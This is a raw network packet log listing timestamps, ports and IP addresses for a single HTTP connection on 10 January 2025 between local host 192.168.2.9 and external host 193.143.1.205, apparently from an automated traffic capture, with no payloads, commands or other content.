Jan 10, 2025 19:05:00.429790020 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.429949045 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.429959059 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.429979086 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.429980040 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.429984093 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.430042982 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.430269003 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.430289030 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.430299997 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.430305004 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.430339098 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.430351019 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.430368900 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.430380106 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.430407047 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.430537939 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.430548906 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.430562973 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.430572987 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.430572987 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.430603027 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.430718899 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.430728912 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.430741072 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.430752039 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.430762053 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.430778980 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.430932045 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.430943012 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.430955887 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.430968046 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.430994034 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.431025982 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.431036949 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.431049109 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.431058884 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.431070089 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.431097984 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.431298018 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.431348085 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.431359053 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.431386948 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.431400061 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.431411028 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.431421995 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.431436062 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.431468010 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.431603909 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.431616068 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.431627035 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.431644917 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.431655884 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.431658030 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.431667089 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.431679964 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.431684971 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.431691885 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.431700945 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.431730032 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.432358027 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.432368994 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.432380915 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.432394981 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.432403088 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.432431936 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.432435989 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.432446957 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.432488918 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.432514906 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.432526112 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.432537079 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.432562113 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.432673931 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.432692051 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.432706118 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.432707071 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.432718992 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.432734013 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.432734013 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.432743073 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.432769060 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.433109999 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.433130980 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.433140993 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.433145046 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.433160067 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.433170080 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.433172941 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.433199883 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.433264017 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.433332920 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.433366060 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.433377981 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.433389902 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.433401108 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.433418989 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.435384035 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.435417891 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.435429096 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.435439110 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.435441971 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.435463905 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.435580969 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.435594082 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.435604095 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.435615063 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.435625076 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.435632944 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.435636997 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.435648918 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.435679913 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.435693979 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.435722113 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.441890955 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.513923883 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.513956070 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.513974905 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.513987064 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.514000893 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.514009953 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.514013052 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.514027119 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.514039993 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.514045000 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.514054060 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.514095068 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.514096022 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.514107943 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.514132023 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.514134884 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.514144897 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.514158964 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.514163971 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.514173031 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.514199972 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.551837921 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.551867962 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.551881075 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.551902056 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.551913977 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.551928043 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.551938057 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.551937103 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.551980019 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.551981926 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.552025080 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.552026987 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.552040100 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.552052021 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.552072048 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.552093029 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.552161932 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.552174091 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.552187920 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.552198887 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.552218914 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.552231073 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.552242994 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.552256107 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.552304983 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.552334070 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.552408934 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.552454948 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.552479982 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.552500963 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.552516937 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.552526951 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.552552938 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.552565098 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.554301023 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.554312944 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.554335117 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.554347038 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.554358006 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.554374933 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.554374933 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.554383039 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.554388046 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.554444075 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.554575920 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.554589033 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.554601908 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.554621935 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.554632902 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.554708958 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.554769039 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.554783106 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.554804087 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.554817915 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.554817915 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.554841995 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.554881096 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.554893017 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.554928064 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.554970026 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.554982901 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.554995060 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.555006981 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.555027962 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.555057049 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.555387020 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.555397987 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.555411100 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.555427074 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.555450916 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.555453062 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.555463076 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.555514097 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.555531979 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.555543900 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.555582047 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.555639982 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.555650949 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.555660963 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.555675030 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.555687904 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.555691004 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.555700064 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.555716038 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.555742979 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.555779934 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.555793047 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.555835009 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.555833101 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.557949066 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.557970047 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558016062 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.558016062 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558064938 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.558064938 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558089972 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558103085 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558134079 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.558157921 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558168888 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558182001 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558192968 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.558231115 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.558247089 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558259010 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558295012 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.558315992 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558329105 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558342934 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558357000 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558367968 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558367968 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.558399916 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.558418036 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558432102 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558455944 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.558460951 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558471918 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558495998 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.558566093 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558578968 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558590889 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558604002 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558614016 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558617115 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.558624983 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.558653116 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.558768034 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558780909 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558794975 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558818102 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.558883905 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558906078 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558917046 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558918953 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.558927059 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558939934 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558952093 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558952093 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.558964968 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558971882 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.558974028 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.559019089 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.559031010 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.559067965 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.559134960 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.559146881 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.559158087 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.559170008 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.559181929 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.559184074 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.559195042 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.559207916 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.559210062 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.559222937 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.559286118 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.559299946 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.559326887 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.583466053 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.600558043 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.600584984 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.600594997 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.600615025 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.600625992 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.600670099 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.600702047 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.600711107 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.600730896 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.600744009 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.600748062 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.600783110 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.600841045 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.600852966 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.600864887 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.600878954 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.600883961 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.600912094 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.600980043 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.600991011 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.601003885 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.601016045 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.601022959 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.601048946 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.601063013 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.601073980 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.601085901 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.601098061 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.601104975 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.601110935 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.601130962 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.601167917 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.601206064 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.638617992 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.638636112 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.638655901 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.638669014 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.638680935 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.638695002 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.638709068 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.638744116 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.638766050 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.638778925 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.638799906 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.638820887 CET	49754	80	192.168.2.9	193.143.1.205
